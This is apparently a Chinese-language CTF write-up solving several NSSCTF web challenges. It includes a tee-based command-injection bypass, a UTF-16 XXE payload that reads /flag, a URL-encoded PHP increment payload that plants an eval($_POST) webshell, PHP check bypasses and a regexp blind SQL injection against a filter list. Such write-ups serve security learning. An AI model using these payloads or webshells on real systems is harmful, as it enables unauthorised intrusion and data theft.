前言
继续刷NSSCTF,web的内容还是很杂的,多刷题还是能学到很多东西的。
finalrce
审计代码:
1 | <?php |
这题也是过滤比较狠的rce,而且使用的是exec()
,这个函数是没有回显的,按平常来说可以反弹shell,但这里的过滤太狠了,几乎堵死这条路了。因此我们要学习一个特殊的linux命令:tee
- tee:将想要执行的命令写进文件中,当访问这个文件后执行命令
因此我们构建这样的payload:
1 | dir /|tee mrl64 |
接着我们访问/mrl64
,就可以读取到根目录了,cat被过滤了,解决方法还是很多的,之前写到的无字符webshell就可以利用,也可以使用引号进行绕过,也可以用sort
代替,等等,这里给出一种payload:
1 | ?url=sort /flllll''aaaaaaggggggg|tee mrl64 |
[CSAWQual 2019]Unagi
一进网页先到处翻翻,发现提示:
1 | <users> |
明显的xee,结合提示flag在/flag
下,我们直接构造payload:
1 | <?xml version="1.0"?> |
上传1.xml
,结果发现有waf,尝试用utf-16编码:
1 | iconv -f utf8 -t utf16 1.xml>2.xml |
再次上传即可获取flag。
hardrce_3
审计源码:
1 | <?php |
这题把取反和异或全给禁了,我们采用自增的方式构建payload,记得url编码:
1 | http://1.14.71.254:28041/?wllm=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B |
这样我们就写入了一个webshell,查看phpinfo,发现一些系统函数被禁用,因此我们直接上传一个一句话:
1 | _=file_put_contents('1.php','<?php @eval($_POST['mrl64']);?>'); |
蚁剑连接即可。
[鹤城杯 2021]Middle magic
审计源码:
1 | <?php |
第一关是传入aaa,要求内容为pass_the_level_1#
,但是不能匹配到level,老考点了,这里用%0a
截断。
接着是第二关,POSTadmin参数和root_pwd参数,要求两者值不等但是sha1的值要相等,也是老考点,数组就行。
最后一关,传入level_3参数,要求这个参数的内容经过json解码后的result的值能够等于$result。这个变量的值我们不知道,但不重要,result为0就可以了。
最终payload:
1 | ?aaa=%0apass_the_level_1%23 |
[NCTF 2019]SQLi
进入网页是一个登录框,同时还给了sql查询语句:
1 | sqlquery : select * from users where username='' and passwd='' |
尝试信息搜集,发现robots.txt,访问并发现hint.txt:
1 | $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i"; |
看得出来,这过滤太狠毒了,但是又提示我们只要得到密码就可以了,这让我们想起了hgame第三周的那题盲注。但是like被过滤了,因此我们使用regexp来进行匹配。
还有一点,如果直接从python传入%00
会被转义,因此我们需要使用parse.unquote('%00')
来避免这一情况。
exp:
1 | import requests |
获得密码后登陆得到flag。